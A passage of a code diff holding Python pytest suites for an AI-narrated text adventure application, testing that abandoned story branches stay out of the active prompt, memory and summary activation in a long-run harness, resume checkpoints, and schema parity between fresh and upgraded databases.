assert SUMMARY_SENTINEL in prompt, "path A's prompt did not carry its own summary"
|
||||
assert MEMORY_SENTINEL in prompt or any(
|
||||
MEMORY_SENTINEL in (m.get("text") or "")
|
||||
for m in (before["report"].get("memories") or {}).get("used", [])
|
||||
), "the memory sentinel never reached path A's prompt"
|
||||
|
||||
|
||||
# ------------------------------------------------------- E01: state
|
||||
|
||||
def test_e01_the_abandoned_fact_is_not_in_the_active_state(diverged):
|
||||
facts = [f.get("id") for f in diverged["after"]["state"].get("facts", [])]
|
||||
assert STATE_SENTINEL not in facts
|
||||
|
||||
|
||||
def test_e01_the_abandoned_fact_is_not_in_the_active_prompt(diverged):
|
||||
assert STATE_SENTINEL not in prompt_of(diverged["after"]["report"])
|
||||
|
||||
|
||||
# ------------------------------------------------------- E02: memory
|
||||
|
||||
def test_e02_the_abandoned_memory_does_not_enter_the_active_prompt(diverged):
|
||||
after = diverged["after"]["report"]
|
||||
assert MEMORY_SENTINEL not in prompt_of(after)
|
||||
used = (after.get("memories") or {}).get("used", [])
|
||||
assert not any(MEMORY_SENTINEL in (m.get("text") or "") for m in used)
|
||||
|
||||
|
||||
def test_e02_the_abandoned_memory_is_still_on_disk(client, diverged):
|
||||
"""Retained, not deleted — the story was left, not erased (ADR 012)."""
|
||||
with SessionLocal() as db:
|
||||
stored = db.query(models.Memory).filter(
|
||||
models.Memory.adventure_id == client.adv_id,
|
||||
models.Memory.text.like(f"%{MEMORY_SENTINEL}%"),
|
||||
).count()
|
||||
assert stored > 0, "the abandoned memory was destroyed rather than retained"
|
||||
|
||||
|
||||
# ------------------------------------------------------- E03: summary
|
||||
|
||||
def test_e03_a_new_summary_was_generated_on_the_new_line(client, diverged):
|
||||
"""M6-F1's shape: the test is worthless unless a regeneration happened."""
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
row = summaries.current(db, adventure)
|
||||
assert row is not None, "no summary is eligible on path B"
|
||||
assert row.id != diverged["before"]["summary_id"], (
|
||||
"path B reused path A's summary row rather than generating one")
|
||||
|
||||
|
||||
def test_e03_the_regenerated_summary_carries_no_abandoned_content(client, diverged):
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
row = summaries.current(db, adventure)
|
||||
assert SUMMARY_SENTINEL not in (row.text or "")
|
||||
assert MEMORY_SENTINEL not in (row.text or "")
|
||||
|
||||
|
||||
def test_e03_the_summariser_was_never_offered_the_abandoned_summary(summariser, diverged):
|
||||
"""The fix is at the input. A filter over the output would be a different bug."""
|
||||
assert summariser.seeds, "no summary was generated on path B"
|
||||
assert not any(SUMMARY_SENTINEL in seed for seed in summariser.seeds)
|
||||
|
||||
|
||||
def test_e03_no_abandoned_turn_is_on_the_active_lineage(client, diverged):
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
leaked = db.query(models.Action).filter(
|
||||
models.Action.adventure_id == client.adv_id,
|
||||
lineage.path_of(db, adventure).clause(models.Action),
|
||||
models.Action.text.like(f"%{SUMMARY_SENTINEL}%"),
|
||||
).count()
|
||||
assert leaked == 0, "the fixture left path-A story on path B's lineage"
|
||||
|
||||
|
||||
def test_e03_the_abandoned_summary_row_is_retained(client, diverged):
|
||||
with SessionLocal() as db:
|
||||
kept = db.query(models.Summary).filter(
|
||||
models.Summary.adventure_id == client.adv_id,
|
||||
models.Summary.text.like(f"%{SUMMARY_SENTINEL}%"),
|
||||
).count()
|
||||
assert kept > 0, "the abandoned summary was deleted rather than retired"
|
||||
|
||||
|
||||
# ------------------------------------------------------- E04: scene
|
||||
|
||||
def test_e04_the_current_scene_is_the_active_lines_scene(diverged):
|
||||
"""The acceptance scenario, exactly: the discarded future moved to the abbey."""
|
||||
scene = diverged["after"]["state"]["scene"]
|
||||
assert scene["location"] == "tavern"
|
||||
assert scene["location"] != SCENE_SENTINEL
|
||||
|
||||
|
||||
def test_e04_the_protagonists_location_followed_the_active_line(diverged):
|
||||
entities = diverged["after"]["state"].get("entities") or {}
|
||||
assert (entities.get("aldric") or {}).get("location") != SCENE_SENTINEL
|
||||
|
||||
|
||||
def test_e04_the_derived_scene_packet_shows_the_active_line_only(diverged):
|
||||
"""M10's packet, which is what a future depiction would be built from.
|
||||
|
||||
The packet is derived from the authoritative state on read, so this cannot
|
||||
fail while the state above passes — which is the point. It is asserted
|
||||
anyway because the packet is a *new* surface since E04 was written, and a
|
||||
later change that gave it a store of its own would fail here.
|
||||
"""
|
||||
packet = diverged["after"]["packet"]
|
||||
assert packet["location"]["key"] == "tavern"
|
||||
assert SCENE_SENTINEL not in repr(packet)
|
||||
assert packet["scene_id"] != diverged["before"]["packet"]["scene_id"]
|
||||
|
||||
|
||||
def test_e04_the_abandoned_scene_is_still_retained_at_its_own_position(client, diverged):
|
||||
"""Retained history keeps its scene; it simply is not current."""
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
with SessionLocal() as db:
|
||||
rows = (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == client.adv_id)
|
||||
.options(undefer(models.Action.narrative_state_after))
|
||||
.all()
|
||||
)
|
||||
kept = [
|
||||
r for r in rows
|
||||
if ((r.narrative_state_after or {}).get("scene") or {}).get("location")
|
||||
== SCENE_SENTINEL
|
||||
]
|
||||
assert kept, "the abandoned line's scene was destroyed rather than retained"
|
||||
@@ -0,0 +1,324 @@
|
||||
"""The long run turns the memory bank and the rolling summary on, and proves it.
|
||||
|
||||
M01's step list asks for "summary/memory activation". Both are per-campaign
|
||||
switches that default to off (`models.Adventure`), and the harness that ran the
|
||||
first complete hundred-turn campaign never touched them: the bank stayed empty,
|
||||
no summary was written, and M04's recall succeeded through narrative state alone.
|
||||
Nothing in that run's evidence said so except a row of zeros nobody was looking
|
||||
for.
|
||||
|
||||
These tests drive `Run.setup` against the real application in-process, so the
|
||||
switch is proved by the application accepting it rather than by the harness
|
||||
sending it. What they cannot prove is that a hundred turns then fill the bank —
|
||||
that is what the run itself proves, and `memories_in_bank` in its timeline is
|
||||
where it shows.
|
||||
"""
|
||||
import json
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from tools import m11_long_run as lr
|
||||
|
||||
|
||||
UNREACHABLE = "http://127.0.0.1:1/v1"
|
||||
|
||||
|
||||
class InProcess:
|
||||
"""`Storyteller.call`, spoken to the application through the test client."""
|
||||
|
||||
starts = 1
|
||||
|
||||
def __init__(self, client: TestClient):
|
||||
self.client = client
|
||||
|
||||
def call(self, method, path, payload=None, timeout=600):
|
||||
response = self.client.request(method, f"/api{path}", json=payload)
|
||||
response.raise_for_status()
|
||||
return response.json() if response.content else None
|
||||
|
||||
|
||||
class IgnoresThePatch:
|
||||
"""A server that answers the PATCH and changes nothing, which is exactly the
|
||||
failure `setup` must refuse rather than record."""
|
||||
|
||||
starts = 1
|
||||
|
||||
def __init__(self):
|
||||
self.calls = []
|
||||
|
||||
def call(self, method, path, payload=None, timeout=600):
|
||||
self.calls.append((method, path))
|
||||
if path == "/settings":
|
||||
return {"model": "m", "context_token_budget": 16384,
|
||||
"model_timeout_seconds": 1800}
|
||||
if method == "POST" and path == "/adventures":
|
||||
return {"id": 1}
|
||||
if method == "GET" and path == "/adventures/1":
|
||||
return {"memory_bank_enabled": False, "auto_summarize": False}
|
||||
return {}
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
monkeypatch.setattr(lr, "ENDPOINT", UNREACHABLE)
|
||||
monkeypatch.setattr(lr, "MODEL", "some-model")
|
||||
monkeypatch.setattr(lr, "EMBED_MODEL", "some-embedder")
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11mem@example.com")
|
||||
setup.add(user)
|
||||
setup.commit()
|
||||
user_id = user.id
|
||||
setup.close()
|
||||
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
try:
|
||||
yield TestClient(app)
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def run_for(tmp_path, monkeypatch):
|
||||
"""A `Run` on the given server. Uploads are skipped: `upload` builds its own
|
||||
multipart request to a port, and the knowledge library is not what these
|
||||
tests are about."""
|
||||
made = []
|
||||
|
||||
def make(server):
|
||||
run = lr.Run(server, tmp_path, turns_target=100)
|
||||
monkeypatch.setattr(run, "upload", lambda *a, **k: None)
|
||||
made.append(run)
|
||||
return run
|
||||
|
||||
yield make
|
||||
for run in made:
|
||||
run.timeline.close()
|
||||
|
||||
|
||||
def test_a_fresh_campaign_starts_with_both_switches_off(client):
|
||||
"""The premise. If this ever changes, the harness's PATCH is redundant but
|
||||
harmless; while it holds, a harness without the PATCH measures nothing."""
|
||||
created = client.post("/api/adventures", json={"title": "untouched"}).json()
|
||||
assert created["memory_bank_enabled"] is False
|
||||
assert created["auto_summarize"] is False
|
||||
|
||||
|
||||
def test_setup_leaves_the_campaign_with_memory_and_summary_on(client, run_for):
|
||||
run = run_for(InProcess(client))
|
||||
run.setup()
|
||||
|
||||
stored = client.get(f"/api/adventures/{run.adv}").json()
|
||||
assert stored["memory_bank_enabled"] is True
|
||||
assert stored["auto_summarize"] is True
|
||||
|
||||
activated = [e for e in run.events if e["kind"] == "memory_activated"]
|
||||
assert len(activated) == 1
|
||||
assert activated[0]["memory_bank_enabled"] is True
|
||||
assert activated[0]["auto_summarize"] is True
|
||||
|
||||
|
||||
def test_setup_refuses_a_campaign_that_did_not_take_the_switches(run_for):
|
||||
"""Hours of turns against a campaign with the bank off is the run that was
|
||||
already had. It must stop before the first one, not report silence after."""
|
||||
server = IgnoresThePatch()
|
||||
run = run_for(server)
|
||||
|
||||
with pytest.raises(SystemExit, match="summary/memory clause"):
|
||||
run.setup()
|
||||
|
||||
# It asked, it read back, and it went no further.
|
||||
assert ("PATCH", "/adventures/1") in server.calls
|
||||
assert not any("/state/corrections" in path for _, path in server.calls)
|
||||
recorded = [e for e in run.events if e["kind"] == "memory_activated"]
|
||||
assert recorded and recorded[0]["memory_bank_enabled"] is False
|
||||
|
||||
|
||||
def test_a_run_without_an_embedding_model_is_refused(monkeypatch, tmp_path, capsys):
|
||||
"""With the bank on and no embedder, memories are written and never
|
||||
retrieved: `memorybank.retrieve` answers "No embedding model configured".
|
||||
That is the same unexercised path in a fuller bank, so it is refused before
|
||||
a server is started or a directory is claimed."""
|
||||
monkeypatch.setattr(lr, "ENDPOINT", UNREACHABLE)
|
||||
monkeypatch.setattr(lr, "MODEL", "some-model")
|
||||
monkeypatch.setattr(lr, "EMBED_MODEL", "")
|
||||
out = tmp_path / "never-made"
|
||||
monkeypatch.setattr("sys.argv", ["m11_long_run", "--out", str(out)])
|
||||
|
||||
assert lr.main() == 2
|
||||
assert "AIDND_TEST_EMBED_MODEL" in capsys.readouterr().out
|
||||
assert not out.exists()
|
||||
|
||||
|
||||
def test_the_bank_is_counted_from_the_application(client, run_for):
|
||||
run = run_for(InProcess(client))
|
||||
run.setup()
|
||||
assert run.bank_size() == 0
|
||||
|
||||
db = SessionLocal()
|
||||
try:
|
||||
db.add(models.Memory(adventure_id=run.adv, text="the key opens the crypt"))
|
||||
db.commit()
|
||||
finally:
|
||||
db.close()
|
||||
assert run.bank_size() == 1
|
||||
|
||||
|
||||
def test_a_count_that_cannot_be_read_is_minus_one_not_an_exception(run_for):
|
||||
"""Measurement never fails a turn; -1 is distinguishable from an empty bank."""
|
||||
|
||||
class Down:
|
||||
starts = 1
|
||||
|
||||
def call(self, *a, **k):
|
||||
raise ConnectionError("gone")
|
||||
|
||||
run = run_for(Down())
|
||||
run.adv = 7
|
||||
assert run.bank_size() == -1
|
||||
|
||||
|
||||
# ----------------------------------------------- failed post-turn work stops a run
|
||||
|
||||
class Reports:
|
||||
"""A server whose derived status, summaries and log say what the test sets."""
|
||||
|
||||
starts = 1
|
||||
|
||||
def __init__(self, log_path, *, status=None, summaries=0, memories=0):
|
||||
self.log_path = log_path
|
||||
self.status = status or []
|
||||
self.summaries = summaries
|
||||
self.memories = memories
|
||||
|
||||
def call(self, method, path, payload=None, timeout=600):
|
||||
if path.endswith("/derived"):
|
||||
return {"status": self.status,
|
||||
"failing": [r["kind"] for r in self.status if r["status"] == "failed"],
|
||||
"summaries": [{"id": i} for i in range(self.summaries)]}
|
||||
if path.endswith("/memories"):
|
||||
return [{"id": i} for i in range(self.memories)]
|
||||
return {}
|
||||
|
||||
|
||||
def test_a_failed_pass_in_derived_status_stops_the_run(run_for, tmp_path):
|
||||
server = Reports(tmp_path / "server.log", status=[
|
||||
{"kind": "summary", "status": "failed", "detail": "ProviderError: gone"},
|
||||
{"kind": "memory", "status": "idle", "detail": ""},
|
||||
])
|
||||
run = run_for(server)
|
||||
run.adv = 1
|
||||
found = run.background_failures()
|
||||
assert found == ["summary: ProviderError: gone"]
|
||||
|
||||
|
||||
def test_a_failure_the_application_could_not_record_is_found_in_the_log_once(run_for, tmp_path):
|
||||
"""The failure that hid the first GPU trial: derived status said `idle` and
|
||||
the only record was in the server log."""
|
||||
log = tmp_path / "server.log"
|
||||
log.write_text("INFO: 200 OK\nERROR:app.memorybank:could not record derived-work failure for 1\n")
|
||||
run = run_for(Reports(log))
|
||||
run.adv = 1
|
||||
|
||||
assert len(run.background_failures()) == 1
|
||||
assert run.background_failures() == [], "the same line was reported twice"
|
||||
|
||||
with log.open("a") as handle:
|
||||
handle.write("ERROR:app.derived:derived summary work failed for adventure 1\n")
|
||||
assert len(run.background_failures()) == 1
|
||||
|
||||
|
||||
def test_healthy_status_and_a_quiet_log_find_nothing(run_for, tmp_path):
|
||||
log = tmp_path / "server.log"
|
||||
log.write_text('INFO: "POST /api/adventures/1/actions HTTP/1.1" 200 OK\n')
|
||||
run = run_for(Reports(log, status=[{"kind": "memory", "status": "ok", "detail": ""}]))
|
||||
run.adv = 1
|
||||
assert run.background_failures() == []
|
||||
|
||||
|
||||
def test_the_log_position_survives_a_resume(run_for, tmp_path):
|
||||
"""Otherwise a resumed run would find the failure that stopped it again, and
|
||||
stop again, however healthy the application now is."""
|
||||
first = run_for(Reports(tmp_path / "server.log"))
|
||||
first.adv, first.log_offset = 1, 4096
|
||||
first.save_resume()
|
||||
|
||||
second = run_for(Reports(tmp_path / "server.log"))
|
||||
second.adopt(json.loads((tmp_path / lr.RESUME_FILE).read_text()))
|
||||
assert second.log_offset == 4096
|
||||
|
||||
|
||||
def test_a_run_with_no_summary_or_no_memory_is_not_complete(run_for, tmp_path):
|
||||
log = tmp_path / "server.log"
|
||||
assert "summaries=0" in lr._activation_shortfall(
|
||||
_with_adv(run_for(Reports(log, memories=3, summaries=0))))
|
||||
assert "memories_in_bank=0" in lr._activation_shortfall(
|
||||
_with_adv(run_for(Reports(log, memories=0, summaries=2))))
|
||||
assert lr._activation_shortfall(
|
||||
_with_adv(run_for(Reports(log, memories=3, summaries=1)))) is None
|
||||
|
||||
|
||||
def _with_adv(run):
|
||||
run.adv = 1
|
||||
return run
|
||||
|
||||
|
||||
# ------------------------------------------------------- what M04 actually proved
|
||||
|
||||
def test_the_m04_verdict_never_credits_a_planted_turn_still_in_the_window():
|
||||
base = {"planted_turn_in_history_window": False, "in_memories_section": False,
|
||||
"in_summary_section": False, "in_state_section": False,
|
||||
"clue_in_recent_history_window": False}
|
||||
assert lr._m04_verdict({**base, "planted_turn_in_history_window": True,
|
||||
"in_memories_section": True}) == "precondition_not_met"
|
||||
assert lr._m04_verdict({**base, "planted_turn_in_history_window": None,
|
||||
"in_state_section": True}) == "precondition_unknown"
|
||||
assert lr._m04_verdict({**base, "in_memories_section": True}) == \
|
||||
"recovered_through_memory_or_summary"
|
||||
assert lr._m04_verdict({**base, "in_summary_section": True}) == \
|
||||
"recovered_through_memory_or_summary"
|
||||
assert lr._m04_verdict({**base, "in_state_section": True}) == \
|
||||
"recovered_through_state_only"
|
||||
assert lr._m04_verdict(base) == "not_recovered"
|
||||
|
||||
|
||||
def test_the_sentinel_in_recent_history_does_not_decide_the_precondition():
|
||||
"""The M04 re-run: the narrator reused the sentinel in its own prose while
|
||||
the planted turn was 65 actions outside the window."""
|
||||
recall = {"planted_turn_in_history_window": False,
|
||||
"clue_in_recent_history_window": True,
|
||||
"in_memories_section": False, "in_summary_section": False,
|
||||
"in_state_section": True}
|
||||
assert lr._m04_verdict(recall) == "recovered_through_state_only"
|
||||
|
||||
|
||||
def test_the_planted_depth_survives_a_resume(run_for, tmp_path):
|
||||
first = run_for(Reports(tmp_path / "server.log"))
|
||||
first.adv, first.planted_depth = 1, 1
|
||||
first.save_resume()
|
||||
|
||||
second = run_for(Reports(tmp_path / "server.log"))
|
||||
second.adopt(json.loads((tmp_path / lr.RESUME_FILE).read_text()))
|
||||
assert second.planted_depth == 1
|
||||
|
||||
|
||||
def test_protocol_left_in_stored_narration_is_counted():
|
||||
bundle = {"actions": [
|
||||
{"id": 1, "type": "do", "text": '> You say {"events": []}'},
|
||||
{"id": 2, "type": "ai", "text": "The rain eases."},
|
||||
{"id": 3, "type": "ai", "text": "Beat.\n\nWho and what exists:\n mara: Mara"},
|
||||
{"id": 4, "type": "ai", "text": 'Beat.\n\n> {"events": []}'},
|
||||
{"id": 5, "type": "ai",
|
||||
"text": "Rain.\n\n## Established:\n the crypt is sealed (SENTINEL)"},
|
||||
{"id": 6, "type": "ai", "text": "The notice read:\n\nHeld:\nnothing at all."},
|
||||
]}
|
||||
assert lr._protocol_leaks(bundle) == {
|
||||
"ai_actions": 5, "leaking": 3, "example_ids": [3, 4, 5]}
|
||||
@@ -0,0 +1,225 @@
|
||||
"""The long run's resume checkpoint, and the refusals that protect its evidence.
|
||||
|
||||
M11's release campaign was lost twice over: once to a host crash at turn 97, and
|
||||
again to the fact that starting the harness a second time began a new campaign
|
||||
rather than continuing the old one. `tools/m11_long_run.py` now checkpoints
|
||||
`resume.json` and can be pointed back at it.
|
||||
|
||||
These tests exercise that logic without a narrator, a server or a database,
|
||||
because none of it needs one: the checkpoint is a file, and the decisions made
|
||||
around it are decisions about files. What they cannot prove is that a resumed
|
||||
campaign continues correctly against a real application — that is what the run
|
||||
itself proves, and §G of the M11 report is where it is reported.
|
||||
"""
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
from tools import m11_long_run as lr
|
||||
|
||||
|
||||
class FakeServer:
|
||||
"""Enough of `Storyteller` for the checkpoint: it records process starts."""
|
||||
|
||||
def __init__(self, starts=1):
|
||||
self.starts = starts
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def run(tmp_path):
|
||||
made = lr.Run(FakeServer(), tmp_path, turns_target=100)
|
||||
yield made
|
||||
made.timeline.close()
|
||||
|
||||
|
||||
# --------------------------------------------------------------- checkpoint
|
||||
|
||||
def test_a_checkpoint_carries_what_a_resume_needs(run, tmp_path):
|
||||
run.adv = 7
|
||||
run.accepted = 41
|
||||
run.beat = 44
|
||||
run.completed_steps = {7, 14, 21}
|
||||
run.save_resume()
|
||||
|
||||
saved = json.loads((tmp_path / lr.RESUME_FILE).read_text())
|
||||
assert saved["adventure"] == 7
|
||||
assert saved["accepted"] == 41
|
||||
assert saved["beat"] == 44
|
||||
assert saved["completed_steps"] == [7, 14, 21]
|
||||
assert saved["server_starts"] == 1
|
||||
assert saved["turns_target"] == 100
|
||||
|
||||
|
||||
def test_the_checkpoint_is_replaced_rather_than_appended(run, tmp_path):
|
||||
run.adv = 7
|
||||
run.accepted = 1
|
||||
run.save_resume()
|
||||
run.accepted = 2
|
||||
run.save_resume()
|
||||
|
||||
assert json.loads((tmp_path / lr.RESUME_FILE).read_text())["accepted"] == 2
|
||||
# The temporary name it is written under must not survive the rename.
|
||||
assert not (tmp_path / (lr.RESUME_FILE + ".tmp")).exists()
|
||||
|
||||
|
||||
def test_a_checkpoint_round_trips_into_a_later_session(run, tmp_path):
|
||||
run.adv = 7
|
||||
run.accepted = 41
|
||||
run.beat = 44
|
||||
run.completed_steps = {7, 14}
|
||||
run.elapsed_before = 100
|
||||
run.save_resume()
|
||||
saved = json.loads((tmp_path / lr.RESUME_FILE).read_text())
|
||||
|
||||
later = lr.Run(FakeServer(starts=3), tmp_path, turns_target=100)
|
||||
try:
|
||||
later.adopt(saved)
|
||||
assert later.adv == 7
|
||||
assert later.accepted == 41
|
||||
assert later.beat == 44
|
||||
assert later.completed_steps == {7, 14}
|
||||
assert later.resumed is True
|
||||
# Run time accumulates across sessions rather than restarting.
|
||||
assert later.elapsed_before >= 100
|
||||
assert later.elapsed() >= 100
|
||||
finally:
|
||||
later.timeline.close()
|
||||
|
||||
|
||||
def test_a_resumed_session_appends_to_the_existing_timeline(run, tmp_path):
|
||||
run.adv = 7
|
||||
run.note("turn", text="the first session")
|
||||
run.timeline.close()
|
||||
|
||||
later = lr.Run(FakeServer(), tmp_path, turns_target=100)
|
||||
try:
|
||||
later.note("resumed", adventure=7)
|
||||
finally:
|
||||
later.timeline.close()
|
||||
|
||||
lines = (tmp_path / "timeline.jsonl").read_text().strip().splitlines()
|
||||
assert [json.loads(line)["kind"] for line in lines] == ["turn", "resumed"]
|
||||
|
||||
|
||||
# ------------------------------------------------------------- the decision
|
||||
|
||||
def test_a_clean_directory_starts_a_run(tmp_path):
|
||||
assert lr._resume_state(
|
||||
tmp_path / lr.RESUME_FILE, tmp_path / "timeline.jsonl", False) is None
|
||||
|
||||
|
||||
def test_an_unfinished_run_is_not_overwritten(tmp_path):
|
||||
resume_path = tmp_path / lr.RESUME_FILE
|
||||
resume_path.write_text(json.dumps({"adventure": 7, "accepted": 41}))
|
||||
|
||||
refusal = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", False)
|
||||
assert isinstance(refusal, str)
|
||||
assert "--resume" in refusal
|
||||
|
||||
|
||||
def test_a_recorded_run_with_no_checkpoint_is_not_reused(tmp_path):
|
||||
"""A run that recorded something and then died before its first checkpoint.
|
||||
Starting here would put a second campaign in the same timeline."""
|
||||
timeline = tmp_path / "timeline.jsonl"
|
||||
timeline.write_text(json.dumps({"kind": "settings"}) + "\n")
|
||||
|
||||
refusal = lr._resume_state(tmp_path / lr.RESUME_FILE, timeline, False)
|
||||
assert isinstance(refusal, str)
|
||||
assert "second campaign" in refusal
|
||||
|
||||
|
||||
def test_a_run_that_recorded_nothing_leaves_the_directory_usable(tmp_path):
|
||||
"""A server that never came up opens the timeline and writes no line to it.
|
||||
Nothing was written that a fresh run could collide with."""
|
||||
(tmp_path / "timeline.jsonl").write_text("")
|
||||
|
||||
assert lr._resume_state(
|
||||
tmp_path / lr.RESUME_FILE, tmp_path / "timeline.jsonl", False) is None
|
||||
|
||||
|
||||
def test_resuming_returns_the_checkpoint(tmp_path):
|
||||
resume_path = tmp_path / lr.RESUME_FILE
|
||||
resume_path.write_text(json.dumps({"adventure": 7, "accepted": 41}))
|
||||
|
||||
prior = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", True)
|
||||
assert prior["adventure"] == 7
|
||||
assert prior["accepted"] == 41
|
||||
|
||||
|
||||
def test_resuming_nothing_is_refused_rather_than_started_fresh(tmp_path):
|
||||
refusal = lr._resume_state(
|
||||
tmp_path / lr.RESUME_FILE, tmp_path / "timeline.jsonl", True)
|
||||
assert isinstance(refusal, str)
|
||||
assert "no resume.json" in refusal
|
||||
|
||||
|
||||
def test_an_unreadable_checkpoint_is_refused(tmp_path):
|
||||
resume_path = tmp_path / lr.RESUME_FILE
|
||||
resume_path.write_text("{not json")
|
||||
|
||||
refusal = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", True)
|
||||
assert isinstance(refusal, str)
|
||||
assert "cannot read" in refusal
|
||||
|
||||
|
||||
def test_a_checkpoint_naming_no_campaign_is_refused(tmp_path):
|
||||
resume_path = tmp_path / lr.RESUME_FILE
|
||||
resume_path.write_text(json.dumps({"accepted": 41}))
|
||||
|
||||
refusal = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", True)
|
||||
assert isinstance(refusal, str)
|
||||
assert "names no campaign" in refusal
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- timeouts
|
||||
|
||||
def test_the_harness_waits_longer_than_the_application_does(tmp_path):
|
||||
"""Otherwise the socket closes before the application can report the failure
|
||||
inside the stream, and a real error is recorded as a transport one."""
|
||||
server = lr.Storyteller(tmp_path / "campaign.db", tmp_path / "server.log",
|
||||
turn_timeout=1800)
|
||||
assert server.stream_timeout > server.turn_timeout
|
||||
|
||||
|
||||
def test_the_default_timeout_is_inside_the_settings_bound():
|
||||
"""`app/schemas.py` bounds model_timeout_seconds at 30..3600."""
|
||||
assert 30 <= lr.DEFAULT_TURN_TIMEOUT <= 3600
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- schedule
|
||||
|
||||
def test_every_scheduled_operation_has_its_own_turn(tmp_path):
|
||||
"""The steps are keyed by turn number, which is what lets a completed one be
|
||||
remembered across a resume: two are called `retry` and two `restart`, so a
|
||||
name does not identify one."""
|
||||
plan = lr._schedule(100)
|
||||
assert len(plan) == len(set(plan)) == 12
|
||||
assert sorted(plan)[0] >= 1
|
||||
assert max(plan) < 100
|
||||
names = list(plan.values())
|
||||
assert names.count("restart") == 2
|
||||
assert names.count("retry") == 2
|
||||
|
||||
|
||||
# --------------------------------------------------------------- the clue
|
||||
|
||||
def test_the_planted_clue_uses_a_field_add_fact_actually_carries():
|
||||
"""M04's state half turns on the clue text reaching the stored fact.
|
||||
|
||||
`add_fact` requires `predicate` and accepts `subject`, `object`, `value` and
|
||||
`fact_id`. A key it does not define is dropped, and the correction still
|
||||
succeeds — so a clue planted into the wrong key leaves a fact asserting
|
||||
nothing, and `_recall` reports a recall failure the application did not
|
||||
cause. This test fails against the `detail` key that used to be sent.
|
||||
"""
|
||||
from app.narrative.events import SPECS
|
||||
|
||||
spec = SPECS["add_fact"]
|
||||
allowed = {"type"} | set(spec["required"]) | set(spec["optional"])
|
||||
assert set(lr.CLUE_FACT) <= allowed, (
|
||||
f"{set(lr.CLUE_FACT) - allowed} is not carried by add_fact")
|
||||
|
||||
|
||||
def test_the_planted_clue_carries_the_sentinel_recall_looks_for():
|
||||
assert lr.CLUE_SENTINEL in lr.CLUE_FACT["value"]
|
||||
assert lr.CLUE in lr.CLUE_FACT["value"]
|
||||
@@ -0,0 +1,293 @@
|
||||
"""M11 §17: a fresh install and an upgraded database must be the same product.
|
||||
|
||||
M10 found the defect this file makes permanent. It shipped a `CREATE INDEX`
|
||||
migration for an index `create_all` already built from the column, so an
|
||||
*upgraded* database ended up with two indexes and a fresh one with a single
|
||||
index — two schemas differing by which path the file took, which is the thing a
|
||||
migration exists to prevent. Nothing found it except comparing the two.
|
||||
|
||||
So the comparison is the test, and it is written to be general rather than about
|
||||
`visual_profiles`: every table, every column with its type and nullability,
|
||||
every index and its uniqueness, every foreign key, and the version stamp. A
|
||||
future migration that diverges the two paths fails here whatever it is about.
|
||||
|
||||
The second half is the upgrade itself: a database built by the **previous
|
||||
supported build** — M10's schema, version 92 — opened by this one, and then
|
||||
played, exported and imported, because a migration that leaves a campaign
|
||||
unplayable has not worked.
|
||||
|
||||
python -m pytest tests/test_m11_migration.py -v
|
||||
"""
|
||||
|
||||
import json
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
from sqlalchemy import create_engine, inspect, text
|
||||
from sqlalchemy.orm import sessionmaker
|
||||
|
||||
from app import backup, migrations, models
|
||||
from app.database import Base
|
||||
|
||||
BACKEND = Path(__file__).resolve().parent.parent
|
||||
|
||||
#: The schema M10 shipped: everything this build has, minus what M11 added.
|
||||
#: Expressed as the inverse of M11's own migrations, which is what
|
||||
#: `schema_rewind` does for the suite generally — repeated here as data so this
|
||||
#: file states plainly what "the previous supported build" means.
|
||||
M10_VERSION = 92
|
||||
M11_ADDITIONS = (("adventures", "narration_length"),)
|
||||
|
||||
|
||||
def _describe(engine) -> dict:
|
||||
"""Everything about a schema that two databases could disagree about."""
|
||||
inspector = inspect(engine)
|
||||
out: dict = {"tables": {}}
|
||||
for table in sorted(inspector.get_table_names()):
|
||||
if table.startswith("sqlite_"):
|
||||
continue
|
||||
columns = {
|
||||
c["name"]: {
|
||||
"type": str(c["type"]),
|
||||
"nullable": bool(c["nullable"]),
|
||||
# `default` is rendered differently by different paths (a Python
|
||||
# default never reaches the DDL), so it is deliberately not
|
||||
# compared; `nullable` and type are what a query can depend on.
|
||||
}
|
||||
for c in inspector.get_columns(table)
|
||||
}
|
||||
indexes = {
|
||||
i["name"]: {"columns": list(i["column_names"]),
|
||||
"unique": bool(i.get("unique"))}
|
||||
for i in inspector.get_indexes(table)
|
||||
}
|
||||
foreign_keys = sorted(
|
||||
(tuple(fk["constrained_columns"]), fk["referred_table"],
|
||||
tuple(fk["referred_columns"]))
|
||||
for fk in inspector.get_foreign_keys(table)
|
||||
)
|
||||
out["tables"][table] = {
|
||||
"columns": columns, "indexes": indexes, "foreign_keys": foreign_keys,
|
||||
"primary_key": inspector.get_pk_constraint(table).get(
|
||||
"constrained_columns", []),
|
||||
}
|
||||
with engine.begin() as conn:
|
||||
out["version"] = conn.execute(text("PRAGMA user_version")).scalar()
|
||||
return out
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def fresh(tmp_path):
|
||||
"""A database as a new installation creates one."""
|
||||
path = tmp_path / "fresh.db"
|
||||
engine = create_engine(f"sqlite:///{path}")
|
||||
